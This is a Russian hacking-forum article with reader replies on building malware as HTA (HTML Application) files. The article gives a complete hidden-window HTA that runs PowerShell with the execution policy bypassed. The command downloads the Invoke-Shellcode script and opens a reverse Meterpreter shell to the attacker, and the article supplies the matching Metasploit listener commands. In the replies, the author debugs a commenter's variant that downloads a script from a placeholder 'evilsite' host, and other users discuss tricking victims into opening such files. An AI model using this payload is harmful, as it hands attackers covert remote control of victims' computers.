• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Малварь на HTML или HTA для хакера

Статья для участия в конкурсе на Codeby. КЛИК!

{-- == ВВЕДЕНИЕ == --}

В этой статье будет рассказано о разработке вредоносных приложений на HTML. Но возникает вопрос, а зачем это вообще нужно? Существует очень много ситуаций, когда такая малварь может пригодиться. И чаще всего, эти ситуации прикладные. Например, социально-технический вектор. Расширение .hta не вызывает особых подозрений, а значит может быть использовано в данном случае.

{-- == ОСНОВНАЯ ЧАСТЬ == --}

Кто-то из вас скажет, что HTML не является языком программирования и будет прав, но в Windows существует возможность безбраузерного взаимодействия с документами HTML. Эта технология носит название HTA (HTML Application).
Эти приложения имеют расширения ".hta" и возможность их создания вышла уже в марте 1999 года. Так как HTA поддерживает исполнение сценариев, они могут использоваться для выполнения вредоносного кода.

Прочитать об этой технологии вы можете здесь:

Запуск HTA приложений происходит с помощью прикладной программы mshta.exe, которая использует недокументированную функцию RunHTMLApplication для их запуска. По умолчанию файлам с расширением .hta для запуска присвоена программа mshta.exe, поэтому для запуска HTA файлов достаточно сохранить их с нужным расширением. Давайте рассмотрим, как именно происходит разработка HTML Application приложений.

Для начала, создадим файл с расширением .hta и сохраним его на диске.

1.png


Любопытный факт. Если запустить файл теперь, то особого прока это нам не принесёт, однако файл уже находится в рабочем состоянии.

2.png


В каждой программе, в каждом языке программирования есть определённый скелет, с которым необходимо работать. У HTA он такой:

HTML:
<html>
<head>
  <HTA:APPLICATION ID="oHTA"
    APPLICATIONNAME="Имя приложения"
    BORDER="Вид оформления окна. Варианты: thin/dialog/none/thick."
    BORDERSTYLE="Стиль рамки окна. Варианты: complex, normal, raised, static, sunken"
    CAPTION="Наличие загаловка у окна. Варианты: yes/no"
    maximizeButton="Наличие кнопки «Восстановить». Варианты: yes/no"
    minimizeButton="наличие кнопки «свернуть». Варианты: yes/no"
    ICON="Путь к значку окна в формате ICO (32x32)"
    SHOWINTASKBAR="Отображение документа в панели задач Windows. Варианты: yes/no"
    SINGLEINSTANCE="Можно ли открывать документы с тем же APPLIcATIONNAME? Варианты: yes/no"
    SYSMENU="Наличие системного меню и кнопок управления окном в заголовке окна. Варианты: yes/no"
    VERSION="Версия HTA. Я обычно ставлю 1.0"
    WINDOWSTATE="Исходный размер окна. Варианты: normal, minimize, maximize."/>
</head>

<body>
   Тело документа.
</body>

</html>


Как я уже сказал выше в HTA можно добавлять скрипты, как VBScript или JavaScript. Добавляется он также как и в обычные страницы. Кстати, аргументы с которым было запущено приложение можно получить с помощью атрибута commandLine элемента HTA:APPLICATION. Вот пример небольшого HTA приложения.

HTML:
<html>
  <head>
    <title>HTA Test</title>
      <HTA:APPLICATION
       APPLICATIONNAME="Codeby"
       SCROLL="yes"
       SINGLEINSTANCE="yes"
       WINDOWSTATE="maximize"
      />
  </head>


  <body>
   <script language="VBScript">
       Msgbox "Hello, Codeby.NET!"
   </script>
  </body>
</html>

Сохраним и запустим это и мы получим примерно следующий результат.

3.png


Как вы можете увидеть, скрипт был успешно запущен и отработан. Мы познакомились с основами технологии HTML Application. Теперь, можно перейти к самой теме статьи.

Давайте создадим приложения для получения сессии в Meterpreter. Нам нужно исключить появление окна, поэтому скелет, с которым мы будем работать будет такой:


HTML:
<html>
<head>
  <HTA:APPLICATION ID="oHTA"
    APPLICATIONNAME="MSession"
    BORDER="none"
    SHOWINTASKBAR="no"
    SINGLEINSTANCE="no"
    SYSMENU="no"
    VERSION="1.0"
    WINDOWSTATE="minimize"
   />
</head>
<body>
</body>
</html>

Теперь, добавим запуск вредоносной Powershell команды через VBScript. Сначала, подготовим PowerShell команду.

1. Не будем показывать окно командной строки, отключим использование профиля powershell, отключим использование интерактивного режима и разрешим запуск сторонних скриптов. Этого можно достичь с помощью этих опций.

Код:
-w hidden -nop -noni -exec bypass

2. Подготовим вредоносный payload. Можно использовать эту нагрузку, которая предоставит нам meterpreter shell. Используем PowerSploit скрипт. Для этого скачаем его и запустим с нужными параметрами.


Код:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force
,
где вместо 192.168.0.106 и 8007 укажите IP и порт атакующего.

3. Соберём команду и она примет следующий вид:

Код:
powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force



Теперь, вставим следующий VBScript в HTA файл.

Код:
Window.ReSizeTo 0,0
'Делаем окно невидимым, уменьшим его размер до минимального
Window.MoveTo -4000, -4000
'Выносим окно за пределы видимости
 
Set wsh = CreateObject("wscript.shell")
'Создаём объект для выполения команд
wsh.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
'Выполняем команду
Window.Close
'Завершаем работу

После данной манипуляции HTA файл приобретает следующий вид:

HTML:
<html>
  <head>
    <HTA:APPLICATION ID="oHTA"
      APPLICATIONNAME="MSession"
      BORDER="none"
      SHOWINTASKBAR="no"
      SINGLEINSTANCE="no"
      SYSMENU="no"
      VERSION="1.0"
      WINDOWSTATE="minimize"
     />
  </head>

  <body>
    <script language="VBScript">
      Window.ReSizeTo 0,0
      Window.MoveTo -4000, -4000
 
      Set wsh = CreateObject("wscript.shell")
      wsh.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
      Window.Close
    </script>
  </body>
</html>

Сохраните этот файл на диске.

Запустим Meterpreter Listener на ПК атакующего:

4.png


Вот последовательность команд для его запуска:
Код:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.0.106
set LPORT 8007
run
, где вместо 192.168.0.106 и 8007 указываем IP атакующего и желаемый порт.


Теперь, запустив вредоносный HTA документ мы получим meterpreter сессию:

5.png


{-- == ЗАКЛЮЧЕНИЕ == --}

На скриншоте выше видно, что сессия открылась успешно и мы можем взаимодействовать с заражённым компьютером.

Ну, на этом всё. Спасибо за внимание.
 
Последнее редактирование:

PingVinich

Технарь
Green Team
19.03.2017
138
505
BIT
0
- вирусы, говоришь, пишешь?
- да
- на чём же?
- на ХТМЛ
:)

Кстати, этот метод сейчас как никак актуален в дипе. Чуть меньше DDE в MSOffice. Многие вымогатели его используют.
 
Последнее редактирование:
D

Dmitry88

Вот такая проблема: в чем ошибка?
hta.png


HTML:
<html>
    <head>
        <HTA:APPLICATION ID="oHTA"
            APPLICATIONNAME="EVLscrpt"
            BORDER="none"
            SHOWINTASKBAR="no"
            SINGLEINSTANCE="no"
            SYSMENU="no"
            VERSION="1.0"
            WINDOWSTATE="minimize"
        />
    </head>
    
    <body>
        <script language="VBScript">
            Window.ReSizeTo 0,0
            Window.MoveTo -4000, -4000
            
            Set wsh = CreateObject("wscript.shell")
            wsh.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object System.Net.WebClient).DownloadString('http://evilsite.com/evilscript.ps1');powershell -e $e "
            WScript.Quit
        </script>
    </body>
</html>

НТА выполняет корректно, но окно с ошибкой все портит. И в диспетчере mshta.exe висит, даже после того как скрипт отработал.
 
  • Нравится
Реакции: Demesem

PingVinich

Технарь
Green Team
19.03.2017
138
505
BIT
0
Вот такая проблема: в чем ошибка?
Посмотреть вложение 13024


HTML:
<html>
    <head>
        <HTA:APPLICATION ID="oHTA"
            APPLICATIONNAME="EVLscrpt"
            BORDER="none"
            SHOWINTASKBAR="no"
            SINGLEINSTANCE="no"
            SYSMENU="no"
            VERSION="1.0"
            WINDOWSTATE="minimize"
        />
    </head>
 
    <body>
        <script language="VBScript">
            Window.ReSizeTo 0,0
            Window.MoveTo -4000, -4000
        
            Set wsh = CreateObject("wscript.shell")
            wsh.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object System.Net.WebClient).DownloadString('http://evilsite.com/evilscript.ps1');powershell -e $e "
            WScript.Quit
        </script>
    </body>
</html>

НТА выполняет корректно, но окно с ошибкой все портит. И в диспетчере mshta.exe висит, даже после того как скрипт отработал.
Убери строку WScript.Quit. Она не может использоваться в HTA. Язык тот же, а хостовый объект другой, именно поэтому этот метод не может вызываться. Используй метод Window.Close. Статью я изменил.
 
Последнее редактирование:
  • Нравится
Реакции: Ondrik8
D

Dmitry88

Не найден объект WScript. Хотя, он должен автоматически создаваться. Странная ошибка.
А в синтаксисе все нормально ? (если что это виртуалка win7 x86) , еще проверил на win7 x64, но там
DownloadString не обработался, т.к. там подозреваю powershell v 1.
 

PingVinich

Технарь
Green Team
19.03.2017
138
505
BIT
0
Я изменил сообщение. Прочитай выше.
 
Последнее редактирование:
  • Нравится
Реакции: Dmitry88

PingVinich

Технарь
Green Team
19.03.2017
138
505
BIT
0
Скинь код HTA'шки. Ещё, протестируй этот powershell-скрипт на работоспособность выполнив независимо.
 
A

assa911

Скинь код HTA'шки. Ещё, протестируй этот powershell-скрипт на работоспособность выполнив независимо.
Именно, что и спрашиваю, что код не могу сделать. А с этим кодом, с конкурса, в NetCat иероглифы, и потом Bye... закрывается окно.
 

Петручо

Green Team
27.11.2016
115
12
BIT
0
пробовал как то чудить с hta, что не понравилось , так это то что по умолчанию открывается не браузером , а mshta , так еще и с ехе тоже траблы были .
upd попробуйте заставить пользователя открыть этот документ (про социнженерию знаю , но значительная часть способов впаривания отпадает ибо hta проверяется так же как и ехе и с ним так же проблемы в плане впаривания).
upd2 кто знает как в html документы сделать ссылку на hta и что бы эта ссылка открывалась и отрабатывалась в браузере ? но при этом команда выполнялась .
а то пробовал вставлять в html и пользователь видел алерт или какое то действие , а его как бы быть не должно было , потому и палило .
 
Последнее редактирование:

PingVinich

Технарь
Green Team
19.03.2017
138
505
BIT
0
пробовал как то чудить с hta, что не понравилось , так это то что по умолчанию открывается не браузером , а mshta , так еще и с ехе тоже траблы были .
upd попробуйте заставить пользователя открыть этот документ (про социнженерию знаю , но значительная часть способов впаривания отпадает ибо hta проверяется так же как и ехе и с ним так же проблемы в плане впаривания).
upd2 кто знает как в html документы сделать ссылку на hta и что бы эта ссылка открывалась и отрабатывалась в браузере ? но при этом команда выполнялась .
а то пробовал вставлять в html и пользователь видел алерт или какое то действие , а его как бы быть не должно было , потому и палило .
Выполнять команды ОС можно только в Internet Explorer. Почитайте о ActiveX.
 

kot-gor

Grey Team
07.09.2016
529
705
BIT
0
тестировал на виндовс 10..открывается окно powershell при запуске вредоноса..а в целом отрабатывает хорошо.
 
  • Нравится
Реакции: Vertigo и PingVinich

kot-gor

Grey Team
07.09.2016
529
705
BIT
0
Кроме окошка ничего не выскакивало..оно открывается на секунду..
 
  • Нравится
Реакции: PingVinich

PingVinich

Технарь
Green Team
19.03.2017
138
505
BIT
0
Да, окно открывается, чтобы запустить скрипт. Дальше всё по накатанной.
 
V

vimi

Самый большой минус - иконка приложения, никакого доверия она не вызывает.
 
  • Нравится
Реакции: PingVinich

OneTrust

Green Team
11.05.2017
35
12
BIT
0
Правильно я понимаю, что невозможно Meterpreter Listener запустить с Live версии?
 
  • Нравится
Реакции: Demesem
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!